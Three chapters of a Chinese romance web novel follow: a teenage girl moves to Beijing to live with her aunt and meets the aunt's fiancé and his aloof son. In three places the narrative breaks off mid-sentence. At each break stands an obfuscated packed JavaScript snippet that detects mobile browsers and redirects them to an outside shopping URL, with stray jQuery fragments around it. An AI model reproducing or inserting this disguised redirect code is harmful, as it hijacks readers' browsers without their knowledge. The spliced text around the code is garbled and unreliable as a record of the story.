《他她它》
1. 三好生
《他她它》
文/@陆辰安 2026年04月05日
晋江文学城独家首发
*
“女士们,先生们。欢迎您乘坐本次G532次列车,列车前方即将到站——北京南站。”
八月底,首都的破天燥热得厉害。
江栀双手拽着一个特大号行李箱从高铁站走出来时,身上还套了件早上奶奶特意给她翻出来的塑料雨衣。
上面淋的水珠已经干了。
她懒得换,索性就原样将就披了一路。
出站绕了好几圈,才想起来得先去找停车场。
于是又急慌地抬头找指示牌,按箭头指示成功坐上电梯,结果快下扶手,手腕冷不丁的一脱力,轱辘当场卡进了缝隙。
大约同一秒,身后有人轻声说了句“不好意思,您受累,借过”。
嗓音冷冷淡淡,声线干净又清冽。
尾调却习惯性拖得很长,莫名带给人一种懒倦的感觉,是专属这座四九城内独一无二的少年气。
之后,江栀就看到她那生了锈的行李拉杆覆上一只漂亮的大手,指根修长,手背皮肤白到发光,隐约可见其中因用力而凸显的青筋。
指骨关节屈起,再舒展。
血管也时隐时现。
单手便轻松帮她把超负荷的行李拎到了地面,耳边通话还没断:“呦,我给忘了。”
“人没在北京,外面正玩呢。”脸不红心不跳地鬼扯:“瞧您说的,这哪儿能是存心的啊。”
江栀和他道谢。
他轻点头,也没特地分神去看她,抬脚自旁边经过,步履生风。
宽大的白T被吹得贴近脊背,在强光直射下过爆得几乎半透,勾勒出少年高瘦单薄的侧身线条。
他正低着头打电话,额前凌乱碎发上洒满了金色的光晕,映出脸上微不可察的细小绒毛。
气场又乖又疏离。
江栀盯着他的背影看了会儿,回神。
鼻腔内仿佛还萦绕着他凑近时那股沁人心脾的栀子花香。
闻起来特别像夏天冰镇过的雪碧。
甜丝丝的。
手机在兜里嗡嗡震,她翻出来粗略看了看,挨个回复过去,先是给奶奶打视频报了平安,然后又把目前的具体定位转发给小姨。
最后,才磨磨蹭蹭、不情不愿地左滑,点开她和她爹江天海的对话列表,看见几小时前她发出的索要生活费消息。
聊天框空荡荡。
显然,对方还没有回。
也不知道是没看见还是怎么着……
她叹了口气,右手松开行李箱拉杆,迟疑地弯指,在屏幕空白处轻敲两下,调出微信系统自带的虚拟键盘,打字。
信息一经发送,江栀便收起了手机。
终于有机会重新打量起这座对她而言熟悉又陌生的城市。
高楼林立,商圈大厦和她中间隔着一条车水马龙的街道。
各式的时尚店面玲琅满目。
对面,巨型美人鱼图案游动在天边光影的浮波里,与她遥遥相望。
颜色绿得张扬、绿得醒目、绿得招摇。
江栀没来得及收眼。
一阵急促的鸣笛声蓦地打断了她游离天外的思绪,她凝神,望着三米开外玻璃窗缓缓降下后露出的那张,保养得当、但细看之下却和自己妈妈骨相七分相似的脸,甜甜喊了声——
“小姨。”
韩妗一手搭方向盘,另一手随意扶了扶鼻梁上的墨镜,艳丽的红唇开合,潇洒又淡定地撂她两个字:“上车。”
江栀得令,立刻乐呵呵动手把自己行李塞到后备箱,关上车门,乖巧坐进了副驾驶。
安全带拉开系好。
她那个酷毙了的小姨出声,对着她,毫不吝啬地称赞:“你今儿这套穿搭挺潮。”
“……”
这儿化音用的,别说,还真挺有那味儿的。
江栀一时间不清楚她是不是真的在夸她。
没答话。
韩妗似乎也只是随便提,压根没打算等她再作回应,说完就一脚油门踩到底,跑车“嗖——”一下飙出去,引来过路不少人注目。
车里空调开得低,也许是怕她一冷一热着凉,韩妗边打方向边伸手摁键,将温度设置调回正常水平,关切问:“来前儿吃饭没?”
“吃了的,小姨。”她面不改色扯谎。
韩妗看都没看她一眼:“吃的什么?”
“……”江栀难得卡壳两秒,而后自然接上:“灌汤包。”
“哦,什么馅。”
“猪肉。”
“你奶奶给你做的?”
“外面吃的。”
“我记得你不是喜欢吃虾。”闲聊似的语气:“怎么没点个三鲜的?”
“……那都是小时候的口味。”
晌午太阳实在毒,特别经过一层遮光黑膜的提纯,晒得人都有些提不起精神,脑子也钝。
“现在不爱吃了。”
韩妗没再吱声,缓缓将车泊停在火车站附近一个豪华商场的地下负一层。
熄火,在江栀略微不解的注视中,捞过手机,拨了通电话。
“喂?”那边传来道挺稳重的中年男声:“你们到哪儿了?快的话,我让他们把龙虾先做上?”
“老易,换地方,你订的饭店没用了。”
韩妗无所谓地耸了耸肩:“我外甥女嘴巴馋,不乐意吃海鲜那种贵玩意儿。”
江栀:“?”
那头男人应该是沉默了几秒:“换哪儿?”
韩妗瞅了瞅满墙的商标,选妃一样,眼神由上而下扫了圈:“三楼吧,开封汤包。”
“好,我下去。”男人没多犹豫。
韩妗笑着把电话挂了。
“小姨,我真的……”
江栀垂死挣扎。
韩妗却朝她比了个噤声手势:“宝贝儿,我有必要警告你一下,再说谎,可是会彻底失去小姨对你的信任哦。”
“……”江栀赶紧识相闭上嘴巴。
见状,韩妗这才满意点头,抬手像模像样地揉了揉她脑袋:“乖。”
江栀亦步亦趋跟着韩妗乘直梯上楼。
路上韩妗和她简单说明了情况,原来等会儿一共是四个人吃饭,也就是,除了她俩之外,还有她小姨男朋友以及他儿子。
反正就挺奇的。
她小姨游走花丛这么多年,头回栽,谈婚论嫁的对象居然是一个离异不久的二婚男。
还带着个和她差不多年龄的小孩。
这要是韩娟还在世,估计少不了要背后继续蛐蛐,话术无非仍然那两句,说她小姨眼高于顶,最后,还不是捡人家不要的。
论及江栀妈妈的同辈亲戚。
兄弟姐妹三个,就数韩妗混得最好。年轻时考上大学,打山沟沟走出去,自此再没回过家。
江栀外婆是那种典型的重男轻女思想,当初什么好的都要留给她舅舅,韩娟又是老大,早些年沾光,唯独韩妗夹在中间不上不下。
如果不是自己争气,恐怕早就被她外婆逼着嫁人换彩礼给韩耀宗攒成老婆本了。
哦对。
其实她小姨本名不叫韩妗。
好像是叫韩盼娣。
是老一辈盼带把的意思。
其实这也并不是江栀第一次来北京。
实际,上一回江栀见到韩妗,还是三年前陪她妈妈来求医看病。
那时韩妗听说她妈得了绝症没钱治,江天海却在外头胡吃海塞,一整个气得不行,差点没带着人冲回老家把那王八蛋揪出来暴揍一顿。
却被她妈拦住,最后只能气不顺地抱胸,冷嘲热讽道:“也不知道这样的男人你不离留着干嘛?”
“你没结过婚懂什么?”
韩娟当时手上还挂吊瓶,硬是梗红了脖子和她吵:“他再不好,也是孩她爸……”
“天底下,”韩妗冷笑:“不介意喜当爹,想白捡一老婆闺女的人多了去了,生孩子这事,他除了提供精子卖了点力气外还干嘛了?显得他了?”
韩娟嘴笨争不过她,又念在想托付她照顾江栀的份上,生生止住了火气。
偏偏韩妗越说越来劲,恨铁不成钢地从头开始数落,一会儿骂她这人没骨气,守着垃圾还当宝,一会儿又嫌她半点没当姐的架势,如今居然还听那老太婆临终的话,背着婆家悄悄拿钱,掏空家底接济韩耀宗。
这下消停,连看病的钱都得从她这儿拿……
“什么叫拿!”韩娟忍无可忍:“你要不想借可以不借,是我求你了吗?”
韩妗一顿,指了指一旁装睡的江栀:“难道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483645|201892||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你不是在求我管她吗?”
韩娟深呼吸:“那以前我不也……”
气上头的韩妗看出她欲翻旧账的目的,情绪烦躁,因此话也说得十分刻薄:“谁他妈生的谁养,你男人指望不了也别指望我,不希望这丫头变孤儿流浪街头,你最好祈祷自己活长点,钱我有的是,就当连本带息还你当年脑抽发善心救济供我读书的费用,往后甭再跟我提欠你的事儿。”
江栀一直知道,韩妗本质瞧不起韩娟,对江天海更是厌恶,自然也不会多喜欢她。
如今肯接她来北京,必然是迫不得已、没办法的办法。
毕竟,这可是韩娟逝世前,气若游丝恳求她办的唯一一件事。
手足骨肉。
总不好真见死不救。
-
十分钟后。
摆设规整的餐厅里,江栀总算得见那位传说中神通广大能降服了她小姨的男人——
易年。
听说好像任职某个高校的教授,还是个海龟。
人也确实长得板正。
是那种严肃周整的帅,西装革履,戴一副细边金丝眼镜,一整个文人风骨。
只不过,和她性格跳脱的小姨坐一起,气质怎么看怎么不搭边。
江栀没坐,规矩垂手立在一边,动唇,却拿不准称呼该喊什么。下意识想求助韩妗,然而对方没搭理她,自顾自招手喊来服务员点单。
最终还是易年率先自我介绍。
“栀栀好,我就是你小姨的未婚夫,姓易。”
江栀斟酌着从中提取了一下关键词。
“小姨父!”
喊得那叫一个脆生。
连一旁记菜的服务员都不禁抿起嘴角偷笑。
韩妗也淡淡瞥过来一眼,没纠正。
易年当然也笑了。
但他这样养尊处优惯的人,连笑容都是一丝不苟的,眼尾微微上钓,漾起经岁月洗礼的细纹,不仅不显老气,反而多了份彰显年纪的稳重。再看时也弱化了原本硬朗棱角夹带的攻击性。
果然。
让她小姨吃到好的了!
“栀栀别客气,快坐吧。”易年温和站起身,拉开对面桌椅,摁她入座时不忘抽一份新菜单递给她:“看看,想吃什么随便点,虽说你小姨特意表扬过你不挑食,但咱既然出来吃饭,就按喜欢的来。”
“……”
不是,这睁眼说瞎话了吧?
他以为方才他们打电话那会儿她不在场是吗?
可江栀没敢多说。
点完菜,服务员躬身离开。
三个人的餐桌瞬间变得安静下来。
似是察觉到气氛冷场,易年沉吟片刻,主动提:“我刚和阿晏打电话,他说这两天正和同学在外头玩,应该明天才能回来。”
“啧,你怎么回事?”韩妗不大高兴:“我不是前几天就提醒你让张罗好吗?这下得了,俩孩子面还没见上,就直接住一块,到时候万一再性格不合闹矛盾,你计划让谁搬走?”
“……易晏不是不绅士的人。”
“我当然没特指他……”韩妗皱眉,话讲到一半,改口:“算了。”
江栀垂头品一口茶,好半晌才反应出他们口中说的是谁。
yi yan。
小姨父的儿子么。
听小姨的意思,他们已经住一起了吗?
那再加上她,会不会不方便啊。
江栀眼神飘忽。
复听她小姨利落拍了板:“一视同仁,谁惹事谁滚蛋。”
易年当即摊手表态:“反正那小子随你收拾。”
他故作一叹:“打小让两边老人宠没边了,惯得成天作天作地。”
“你纯瞎讲,”韩妗不赞同:“我看人小晏挺好,又帅又懂事,关键——”
“还诚实。”
江栀右眼皮猛跳一下。
也就是在这时,视线辗转落定。
她不经意瞅见易年平搁在桌角的那只伴随来电显示而亮起的手机。
忽然就这么。
猝不及防跟存在于屏保照片上、那个看模样眼熟无比、甚至刚还正被韩妗大肆称赞的绝佳品德好少年四目对视上。
“……”
呵。
不在北京?没存心?
他糊弄谁呢。
2. 丧仙女
*
心不在焉吃完一顿饭。
韩妗豪迈给江栀转了笔钱:“楼底那儿有商场,你去逛逛,需要什么买就行。”
江栀不太好意思点收款:“我也没……”
“嘶。”韩妗秀眉一敛。
“小嘴巴。”
“……”
“旁边还有书店,日用品没有想要的就去买点教辅书,”她不耐烦提醒:“北京这边新改革的高考模式和老家不一样,用的教材也有出入,别整得到时候费了半天劲儿,考得还没在家好。”
“……”
这话说得有道理。
于是,江栀没再扭捏推拒,乖乖听话应下:“好的小姨。”
“用我陪你一起不?”
“没关系。”江栀以为她有别的事儿,非常体贴且懂事地摇了摇头:“我自己就可以。”
韩妗张张口,似乎还打算继续说些什么。
“行了,别操心了,”易年结完账后走上前,伸手揽了下韩妗的肩膀,微笑道:“多大孩子了,你也给人留点隐私空间。”
江栀觉得人大教授说话就是有涵养。
水平高得能在不知觉间就把主谓给颠倒了,还不容易让人挑出错。
不过,她也确实不需要有人跟着,如果条件允许,相比之下,她的确更享受独处的时光。
所以便没反驳他的话。
只是在韩妗询问目光看过来的同时,安安静静地跟着点了点头。
然后那两人就放心留下她约会去了。
江栀在原地站了一会儿,目送他们离开,直到确定她小姨的倩影消失在视野尽头,才转身下电梯,径直奔进一楼超市。
闲逛一圈买了根牙刷出来,掏出手机倒扣在收银台付款,韩妗的微信又弹出来。
这次是个地址链接,底下附带两句话:【钱收了】
【等会儿玩累了打车回去】
顶着收银员稍加不解的眼神,江栀尴尬得歉意一笑,快速摁下接收后才重新买单。
余额显示:9995.28
没要塑料袋,指腹长按语音条回:“谢谢小姨啦!”
商场中央空调的冷风开得足。
江栀晃荡着转了转,随便找了个角落的垃圾桶,动手把皱巴巴的塑料雨衣撕开扔掉。
再抬头。
看见对面有家装修不错的精品店。
短暂犹豫了一会儿,她提步走进去。
“女士,欢迎光临——”
很快,有迎宾上前,专业西装黑裙随弯腰的动作压出褶皱,招牌白手套悬空一划,压在小腹半鞠躬,含笑问她:“请问有需要帮助的吗?”
“……”
江栀默了默,瞬间感觉骑虎难下:“没,我随便看看。”
“我们家主打香水品牌,请问您是想送人还是自用?”
“……”江栀僵硬放下手中刚拿起来的留香棉条,轻轻叹了一口气:“送人吧。”
“好的,”眸光撞上,销售姐姐脸上依旧挂着得体的笑意:“是送家人还是朋友呢?”
江栀认真思考了一下对方提供的选项,眼睫不由得眨巴两下。
“跟我差不多大的一男生。”
“嗯,您男朋友……”
“不不,不是。”江栀连声打断,但又因为目前对那人实在了解甚少,以至于还无法界定彼此间称呼的从属关系,只好随口瞎编了个:“室友。”
“……”金牌销售傻眼。
不过,职业操守还是有,改口改得特别快:“那您…室友对香精有什么偏好吗?”
“有没有栀子味的?”
江栀回忆起那股淡淡的清凉感。
销售员:“有的,山栀子打底有好几款,您稍等,我都拿来给您闻闻。”
“不用那么麻烦。”江栀可做不出打肿脸充胖子的那种事,直戳了当地问:“大概都是什么价位呢?”
“正装怎么也得小几千吧。”
“……”
有点贵。
江栀是想投其所好,却没打算真破费。
江天海还没打生活费呢。
她小姨这一万块也不知道要撑多久。
“哦,那还是不用了。”
“其实我们也有那种可预售的小样。”
销售姐姐约莫识破了她的窘迫,半解围半推销:“但容量只有两毫升,您可以带回去试试。”
“小样多少钱呢?”
“一百多,最普通的款。”
江栀咬牙在心底算了笔账。
“行,那就它。”
……
两分钟后,江栀在销售员的热情欢送下快步走出店门。
手中还提着个装饰有巨大山茶花logo的黑色奢牌包装袋,里面躺了管可怜巴巴的mini香水瓶,保守只有成年人一根食指那么长。
看着是挺空荡。
江天海手机可算是通网了,没给钱,反倒劈头盖脸骂了她一通。
说什么嫌她是养不熟的白眼狼,娘一死连爹都不认,跟她那个神经病小姨一样钻钱眼了!
啧,火气瞧上去还挺大。
看样子是已经回过家,听奶奶说了她被她小姨接走的消息。
所以,怪谁呢?
明明他自己连家都不要,还指望她乖乖当个留守儿?
江栀懒得和他废话。
爱给不给、不给拉倒!
她就当自己石头缝蹦出来的,真离了他那点补助还不能活咋滴?
气闷摁灭手机。
手指无意识扣着手机壳边,江栀心口堵得难受,油然而生一股子燥郁。
逃避般地拖延时间,又绕好久,期间还溜达去隔壁书店买了两本教辅类工具书。
嫌捏在手中占地方,她顺便就倒腾塞进了装小样的纸袋里。
该转也转了,差不多得准备回去。
碰亮屏幕看一眼地图。
打车预估:88元。
“……”
抢钱吧?!
江栀悬在触屏板上空的指尖停顿。
再看地铁,中间倒三趟,预计和出租时长差不多,居然一共才只要五块钱!
这一刻,世界上一定没人能比江栀更加感慨公共交通发明的伟大!
嘻。
省钱了。
江栀眼睛紧盯导航图标,原地旋转,抬头、再低头,调整好方向,确定没问题后才又重新推开挡风帘走进了商场。
B1。
应该就是负一层。
她沿着路线径直往前走,左拐右绕来到了藏在犄角旮旯的一家星巴克,停步。
诶?
怎么没路了?
江栀奇怪地仰起脑袋环顾四周。
一回头,顿住了。
才发现她面前是块半透明的浅咖色玻璃。
而咖啡店内部,靠窗吧台那地儿,不多不少,正好坐了三个人。
其中两个少年,看着就和她一样是高中生,该说不说,长得还都挺帅。
如果能忽略他们此刻一动不动盯她瞅的诡异眼神的话,说不定江栀真能当场去和他们交个朋友。
顺道再问问路。
“……”
但显然,江栀忽视不掉。
大眼瞪小眼瞪了他们两三秒,就在她快要被观赏得忍不住发火的时候。
最左边那位终于动了动。
抬掌,不客气拍在旁边浅粉条纹衬衫蒙着的一堆不明物体上。
而后江栀这才看见,原来她对面竟然还存在第四个人。
只不过刚刚那哥们的脑袋被衣服遮住,再加上彼时她的注意力被这两没礼貌的男的占据,压根没往墙边瞅。
迷一般的第四人被拍了以后似乎并没有多大反应,抱着外套翻了个身,面朝另一边,依旧睡得东倒西歪,脸还埋在那件看起来就不透气的亚麻布料上,也不怕给自己憋死了。
左边那兄弟见状,又跟狗皮膏药似黏糊糊地挨近凑上前,长臂稍加伸展,大庭广众下就敢旁若无人搂过他肩膀,斜额,不知在低声耳语什么。
“……”
不愧大城市,包容性就是强哈。
江栀这么想,也意识到自己方才说不定有误会,倒没那么大气性了。
正要再度垂首看手机。
视野余光却蓦地瞥见那个粉衬衣突然一把掀了“盖头”,扬手,起床气特大地扯开对方搭在身上的咸猪手,再窝巴窝巴把怀中衣料塞作一团,毫不客气地就朝着旁边人兜头砸过去。
动作间,俊朗的眉宇微蹙。
漆黑狭长的眼,眼尾弧度倦兮兮地朝下耷拉,瞧着还挺不好惹的模样。
浑身上下都在向外散发一种“我他妈目前很不爽”的强大气场。
而就在几个小时前,那件江栀才见过的、干净的、规整的正经白T短袖,此时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483646|201892||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却被他穿得异常松垮,衣领直接斜到另一边,歪卡在脖子那块,露出一截冷白.精致的锁骨,削瘦又性感。
再往上。
脸颊还残留熟睡时压出来没消的红印。
头发也有点炸毛。
明显没怎么睡醒。
大约任他慢吞吞地自行缓和了十几秒。
里头人不知又嬉皮笑脸说了些什么,他忽而侧眸,懵头懵脑望过来,莫名也愣了一下。
半身照旧没骨头地倚靠在红墙,原本放松舒展脖颈肌肉的手腕却忽然僵住。
“……”
这回没隔屏幕。
隔着一层双面反光玻璃。
是实打实的四目相对。
一霎那。
周遭空气都好像静止了。
江栀自觉自己撞破了对方天大的秘密,长睫扑簌簌眨得飞快,身体讪讪呆住几秒,立马紧急琢磨对策,装模作样将手机举起贴到耳边比口型说了两句哑语,随后趁他还没反应过来便脚底抹油转身直愣愣开溜。
走得飞快。
咖啡厅中的蒋嘉一瞅这情况,人都懵了。
“ber,这就走了?”
中间的贺知尧也朝那抹匆忙逃开的身影看一眼:“嗯,准确讲,被你吓跑了。”
“你放——”蒋嘉粗口.爆到一半,念在还有女生在场的份上,硬生生把后头的不文明用语咽回去,憋得脖子通红:“怎么不说是你吓跑的。”
“因为我比你帅。”理直气壮的语气。
“你他妈。”蒋嘉还是没忍住:“要点脸。”
贺知尧:“你看人姑娘的时候要脸吗?”
“……”
蒋嘉悟出来了,这人今天就是想引战。
还说呢。
刚才要不是他一直在边上捣乱,他说不定早就自己出门去要微信了,至于把手边这位大少爷平白无故喊醒挨顿骂还没落下好么。
易少爷前段日子外出比赛,昨个儿连夜赶趟飞机转高铁地奔波回京。
多累呐。就这,都没抛下哥几个,一听要补作业立马来了。
虽说到地方全程保持同一种姿势,困得眼睛都睁不开,甩手就把自己写了一小半的本子丟给他们。
单这份重情重义的兄弟情谊,就够蒋嘉感动好半天的,二话不说便拿起来开抄,抄完还极其熟练且顺带地帮兄弟把后头的空给补完了。
写得头晕眼花。
结果一抬头,脑子都冒幻觉了。
看见眼前出现一个贼拉漂亮的小仙女,眼神茫然地和他对视。
“你懂什么叫一见钟情不?”
郑重其事怼完贺知尧,蒋嘉转看向易晏:“晏晏,我感觉我刚刚一下子就恋爱了。”
“……”
易晏其实想回一句你丫恋挺快啊。
但贺知尧替他说了:“那你现在八成得失恋了。”
“完了完了,呜呜,我预感这辈子再遇不到第二个能让我心动的女孩子了……”
易晏情绪不高,看都懒得看他一眼。
贺知尧:“你有病?”
“唉,果然从古至今,每一个F4小团体里最帅的那人都注定是要孤独终老的。”
他还没完没了上了:“为表哀痛,我便自此立誓,愿为我转瞬即逝的爱情守身如玉。”
“……”
贺知尧嘴角一抽,对此评价只有中肯的两个字:“戏精。”
话落,一向话少安静的静文欣也难得跟着附和了一句:“的确。”
“我和你们这些主修无情道的人说不明白。”
一片喧嚷中。
易晏脑海鬼使神差地浮现出刚那女孩一双空洞洞的眼睛。
表面装得挺好,实则看人的时候估计就跟看路边破石头没啥两样。
好看是真挺好看,但就是缺乏灵魂。
丧得不那么外显罢了。
扭头回过神,又顿感一阵莫名其妙。
关他什么事儿啊。
真是被蒋嘉这厮给传染了,气不顺地伸出长腿补踹他一脚,后者正跟贺知尧搁那儿撕.逼,争论究竟谁才他妈的更帅,感受到力度后不忘抽空先停下来,回他一声。
“咋滴了,哥。”
易少爷懒洋洋由着性子:“吵。”
“别说话了。”
他嗓声很轻很淡,似乎没力气,话还没说完便枕着胳膊软踏踏趴回去接着补觉了。
3. 消消乐
*
易少爷这两天心情不大好,哥几个眼观心鼻观眼地心理清楚着呢。
他既然发话了,那没人敢不听的。
于是,蒋嘉当即也收敛了点,正准备大方冲贺知尧比休战手势,结果一个不备转身,成功收获对方一记重拳。
靠,真他妈不讲武德。
一行人安安静静趴这儿补作业,抄了将近一个下午,蒋嘉真是手都快抡出残影了。
好不容易写得七七八八,笔一甩,咬着吸管喝了口凉掉的咖啡,愈发觉得自己命比美式苦。
旁边贺知尧冷冷朝他一瞥。
“呦,嘉爷忆苦思甜呢。”
蒋嘉“诶”了声,慢吞吞把嘴巴里含了半天的饮料咽下去,颇为惆怅道:“老贺,你说咱学校咋就没个像小说里写的那种表白墙呢?”
贺知尧:“有你要干嘛?”
“海底捞啊。”蒋嘉觉得他问得忒没劲。
“我问你干嘛你给我说吃的你有毛病?”贺知尧一脸嫌弃。
蒋嘉一个呛声,喉管刚喝下去的液体差点没给全喷出来:“你才有病。”
他不客气地朝他肩上来了那么一下:“我说的是捞人!”
多少有点公报私仇的意思在。
“喔。”贺知尧没跟他计较,一手转笔,一手随便扒拉着手机瞅两眼,听到这话后凉凉哂他,打太极一样净说些没用的废话:“那你这差事挺难办,就算有,人也不一定在咱学校。”
“我用你说?”
这两人真就一言不合开呛。
蒋嘉想了想,又寄希望于静文欣:“静姐,你有主意没?”
静文欣笔尖一顿,撑着腮帮像模像样琢磨了一会儿。
“要不……你就在这片儿地,挨家挨户贴个寻人启事?”
好嘞。
还不如不问。
求助无门的蒋嘉希望破灭,内心贼拉郁闷地想,怎么刚才就临阵从心了呢。
唉。
这下好了。北京人这么多,估计他们这辈子都见不了第二面。
不过蒋嘉这人最大的优点就是乐观,换个角度,他就当自己勇敢过被拒绝了呗,失恋多正常,还能不活了咋滴。
只象征性忧愁了两秒不到,他就又恢复成一贯没心没肺的模样,乐呵呵掏出手机刷起了这附近的高分美食餐厅,看到不错的,转手就扔进小群里。
饭点还没到呢。
微信消息就跟催魂似地一个劲响。
易晏本来睡好好的,整个人不修边幅地窝在吧台小角落,耳朵还塞着耳机防噪,却被这一通动静闹得,彻底没了困意。
半塌的肩膀缓缓直起,他眼还没睁呢,蒋嘉这狗就自己往上凑:“晏晏,醒了啊。”
“正好,看看吃啥?”
大概睡觉前多披了件衣服,这会儿脑门热得隐隐发汗,易晏神色恹恹,甚至可以称得上是萎靡,明显已经被他折腾得没脾气,也懒得看,直接伸手拂开。
“都行。”嗓音有些哑,声带听着就像在砂纸上磨过,疼得易晏不禁皱了皱眉。
不会真让空调吹感冒了吧?
易晏啧了声,动指搓一搓眼尾,下手没轻没重,眼角一下被揉得发红,睡意惺忪站起来。
特别再配上他那一张脸,看着怪可怜。
“干嘛去?”贺知尧问。
“卫生间洗把脸。”
少爷头也没回,背影一副“生人勿近”的事逼架势。
十几分钟后折返回来,这几人还没商量好,明明就坐一排,非得拿微信交流,信息攒了得有99+多,硬生生把一个日常“等会儿该吃啥”的简单问题上升到「人更应该重视身体健康还是食品口感亦或者两者兼顾」的理论高度,当作三方辩论赛地吵,到头也没见研究出什么花样来。
简直浪费时间。
“有完没完啊,”易晏无语扫过这群人,捞起手机解锁,一键清空了红点:“不行扔骰子得了。”
没成想,蒋嘉头一个站出来反对:“晏晏你改性了?”
“往常可都是你嘴最挑。”
提起这个蒋嘉就来气。
平常在学校,也没见他这么好说话,经常就是一中午,他跟个小太监似巴巴在这逼.货耳旁念,菜名报得跟递牌子一样。
然后人这也不吃那也不行的,辣的怕呛,清淡的又嫌没味,从头否决到尾。
一整个对待餐食高标准严要求,吹毛求疵到令人发指的地步,娇贵得不要不要的。
今儿太阳打西边出来了?
这么好说话。
易晏瘫着脸,蔫了吧唧地拿起包纸巾,撕开从中抽一张,低睫慢条斯理擦着自己手指上的水珠,没搭腔。
“我说你能不能有点眼色?”
贺知尧瞅一眼易晏,不咸不淡张口,好心给蒋嘉提醒:“人正烦着呢看不出来啊。”
“啊?吃饭,他烦什么?”
“烦你呗。”静文欣恰巧收拾完书包,贴心充当起翻译。
“不是,晏晏你烦我干嘛?”
蒋嘉这二傻子,一旦有事摸不着头脑就很容易较真:“我招你惹你了?”
“你刚不是拽人起来去帮你要妹子微信?”贺知尧差点没把白眼翻上天。
蒋嘉:“那咋啦。”
“你也说了,是妹子,又不是他亲妹。”蒋嘉又开始碎嘴子,还特上道地引经据典,说得有理有据:“再说就凭咱这交情,为兄弟上刀山下火海两肋插刀不应该吗?区区桃花,我替他挡多少次了,回报一次不成啊。”
“……”
这说的是一个东西么。
衡量标准恐怕都不一样吧?
然而,易晏此刻却没功夫当判官继续听他们扯皮。
他垂头,怏怏看着屏幕对面易年几分钟前线上给他下达的任务,真是烦得一个头两个大。
“搞什么,我哪儿知道她喜欢什么啊。”
面前三人统一噤声。
易晏声音很低,自言自语蹙着眉嘀咕了一阵,不情不愿往上打字,敲到一半,又顿住,马上给全删了,改发个表情包过去。
完事以后收起手机。
蒋嘉和贺知尧熟练对视一秒。
你看我我看你地眼神交锋,愣是没一个愿意做这只倒霉的出头鸟。
毕竟以这么多年的相处经验和对易晏的了解程度,这帮人比谁都清楚,易叔和秋姨离婚后火速接连再婚、恋爱这两件事儿对这家伙的影响,绝对远高于他目前所表现出来的平静。
至少没这么轻描淡写。
打小让爷爷奶奶和外公外婆轮番纵着长大的北京孩子,啥啥都不缺,爸妈一个大学里的骨干教授、一个香港知名女企业家。平时除了工作忙点,长年不着家,少了正常家庭应有的交流和陪伴外,别的基本要什么给什么。偶尔闲下来,愧疚驱使之下,更是恨不得把他宠上天那种。
一路顺风顺水过下来,愣是给这丫惯得一身破毛病。而且,最关键,人在学校也没怎么见着吃苦,脑子聪明成绩好就算了,还顶了那么一张招摇的脸,成天身后惹一堆小姑娘鞍前马后、前仆后继地跟着,简直他妈的就一纯祸害。
都说人比人气死人。
蒋嘉为此可没少在背后骂他。
其实当面有时也骂,但多数情况,人易少爷根本不搭理他。
这人表面干什么都淡淡的,懒散又漫不经心的模样,看着乖,实际骨子里面阴透了,玉面阎罗可能说的就是他。
最终还是老妈子蒋嘉头一个没憋住:“咋了啊,这是。”
“你爸这次来真的?确定了要和那女的领证结婚?”口子一开,几个人私底下八卦好些天的问题就叭叭朝外冒,一股脑全突突上来:“还非要让你搬过去一起住?”
易晏没细听,闷闷“嗯”了声,修长指尖有一搭没一搭戳着咖啡杯壁。
也不喝,虎口卡着玩。
骨骼分明的指节蜷在上面绕啊绕,冷气蹭得内侧皮肤都有些泛红,目光没什么焦点地朝外晃,也不知道定在哪儿。
“话说——”
良久,才忽然想起来什么,视线挪回来,看向众人:“如果要给不认识、但又即将初次见面的人买礼物,一般应该选什么好呢?”
或许是面前那三道注视太灼热,易晏话音不可避免地卡顿一下:“……有谁知道么。”
停了会儿,他闪躲着避开他们关切的眼神,轻声补充——
“送女性。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483647|201892||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
-
江栀独自在商场里又晃悠了好久才总算找到地铁入口,连着倒了三趟,从海淀桥出站。
外头天黑了大半。
她按照地图上导航规划的路线,大约步行向前几百米,再穿过一条老胡同,来到易年任职大学的西门口。
顺路在街边小贩买了份烤冷面解决晚饭。
怕汤水溅到身上,还特意捋了下手腕挂着的礼品袋袋绳,吃完将签子扔进纸盒,连带用过的纸巾一并塞进去,揪着塑料袋两边一拉,绑成死结之后回身找了个开放式垃圾桶丢掉。
而后又重新摁亮屏幕。
埋头边走边确定定位没问题,正举着手机跟随人流往里拐,门卫却感觉眼生地及时展臂拦住了她,径直开口,问她是做什么的。
江栀怔了一下:“啊。”
“我……”她抬眼环顾四周,半晌才接茬:“我找人,我小姨应该住在里面。”
